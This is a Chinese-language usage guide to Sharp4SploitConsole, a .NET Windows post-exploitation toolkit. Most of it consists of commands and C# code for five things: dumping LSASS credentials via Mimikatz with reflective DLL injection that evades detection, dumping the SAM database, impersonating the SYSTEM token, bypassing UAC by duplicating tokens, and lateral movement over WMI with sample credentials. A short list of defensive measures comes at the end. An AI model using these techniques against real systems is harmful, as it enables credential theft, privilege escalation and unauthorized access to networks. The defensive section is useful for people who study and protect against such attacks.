Windows 内网渗透工具集 — Sharp4SploitConsole
字数 1376 2025-08-22 12:22:42
Sharp4SploitConsole 渗透测试工具集使用指南
工具概述
Sharp4SploitConsole 是一个基于 .NET 开发的 Windows 渗透测试工具集,集成了多种内网渗透测试功能模块,包括:
- 凭证提取
- 权限提升
- 横向移动
- 信息收集
核心功能模块详解
1. 获取系统用户登录凭据
命令:
Sharp4SploitConsole.exe logonPasswords
实现原理:
- 使用 Mimikatz 命令
privilege::debug sekurlsa::logonPasswords - 通过反射式 DLL 注入技术加载内置的 powerkatz_x64.dll
- 从 lsass.exe 进程提取明文密码、NTLM 哈希和 Kerberos 票据
关键代码:
public static string LogonPasswords() {
return Mimikatz.Command("privilege::debug sekurlsa::logonPasswords");
}
技术细节:
- 使用
Utilities.GetEmbeddedResourceBytes从嵌入资源获取 DLL - 通过
Overload.OverloadModule将 DLL 加载到内存 - 使用反射注入绕过安全检测
2. 转储系统 SAM 数据库
命令:
Sharp4SploitConsole.exe SamDump
实现原理:
- 执行 Mimikatz 命令
token::elevate lsadump::sam - 提升权限后从 SAM 数据库提取用户哈希
关键代码:
public static string SamDump() {
return Mimikatz.Command("token::elevate lsadump::sam");
}
技术要点:
token::elevate提升当前进程权限lsadump::sam从安全账户管理器提取数据
3. 模拟令牌提升权限
命令:
Sharp4SploitConsole.exe GetSystem
实现流程:
- 获取 LocalSystem 的 SID
- 转换为 NT 账户名
- 模拟该账户令牌
关键代码:
public bool GetSystem() {
SecurityIdentifier securityIdentifier = new SecurityIdentifier(WellKnownSidType.LocalSystemSid, null);
NTAccount ntaccount = (NTAccount)securityIdentifier.Translate(typeof(NTAccount));
return this.ImpersonateUser(ntaccount.ToString());
}
令牌模拟过程:
- 获取目标进程令牌
- 使用
DuplicateTokenEx复制令牌 - 调用
ImpersonateLoggedOnUser模拟令牌
4. 绕过 UAC 执行命令
命令:
Sharp4SploitConsole.exe BypassUAC cmd.exe ipconfig C:\Windows\System32\
实现方法:
- 获取高权限进程句柄
- 打开进程令牌
- 复制并提升令牌权限
- 设置强制完整性级别
- 创建新进程
关键步骤代码:
// 获取进程句柄
IntPtr intPtr = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, (uint)process.Id);
// 复制令牌
DuplicateTokenEx(zero, 983551U, ref security_ATTRIBUTES,
_SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
TOKEN_TYPE.TokenPrimary, out zero2);
// 设置强制完整性级别
AllocateAndInitializeSid(ref sid_IDENTIFIER_AUTHORITY, nSubAuthorityCount,
8192, 0, 0, 0, 0, 0, 0, 0, out sid);
// 创建新进程
CreateProcessWithLogonW(Environment.UserName, Environment.UserDomainName,
"password", 2, Path + Binary, Path + Binary + " " + Arguments,
67108864, IntPtr.Zero, Path, ref startupinfo, out process_INFORMATION);
5. 获取本地用户组和成员
命令:
Sharp4SploitConsole.exe NetLocalGroupMembers 127.0.0.1 Users .\Administrator
实现原理:
- 调用
NetLocalGroupGetMembersAPI - 解析
LOCALGROUP_MEMBERS_INFO_2结构体 - 转换 SID 为可读格式
关键数据结构:
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct LOCALGROUP_MEMBERS_INFO_2 {
public IntPtr lgrmi2_sid;
public int lgrmi2_sidusage;
[MarshalAs(UnmanagedType.LPWStr)]
public string lgrmi2_domainandname;
}
6. 通过 WMI 横向移动
命令:
Sharp4SploitConsole WMI 192.168.101.14 Administrator 123456 calc.exe
实现流程:
- 建立 WMI 连接
- 获取
Win32_Process类 - 调用
Create方法执行命令
关键代码:
// 建立连接
ConnectionOptions connectionOptions = new ConnectionOptions();
connectionOptions.Username = Username;
connectionOptions.Password = Password;
ManagementScope managementScope = new ManagementScope(
$"\\\\{ComputerName}\\root\\cimv2", connectionOptions);
// 执行命令
ManagementClass managementClass = new ManagementClass(managementScope,
new ManagementPath("Win32_Process"), new ObjectGetOptions());
ManagementBaseObject methodParameters = managementClass.GetMethodParameters("Create");
methodParameters["CommandLine"] = Command;
ManagementBaseObject managementBaseObject = managementClass.InvokeMethod(
"Create", methodParameters, null);
防御建议
针对 Sharp4SploitConsole 的攻击技术,建议采取以下防御措施:
-
凭证保护:
- 启用 Credential Guard
- 限制对 LSASS 进程的访问
- 使用受限制的管理员账户
-
权限控制:
- 实施最小权限原则
- 监控特权账户活动
- 禁用不必要的服务账户
-
UAC 防护:
- 保持 UAC 最高级别
- 监控自动提升的进程
- 审计特权操作
-
WMI 安全:
- 限制远程 WMI 访问
- 监控异常的 WMI 活动
- 禁用不必要的 WMI 提供程序
-
检测机制:
- 部署 EDR 解决方案
- 监控反射式 DLL 注入
- 审计令牌模拟活动
总结
Sharp4SploitConsole 是一个功能强大的内网渗透测试工具集,集成了多种高级攻击技术。安全专业人员可以使用它来测试和评估系统安全性,同时也需要了解其工作原理以构建有效的防御措施。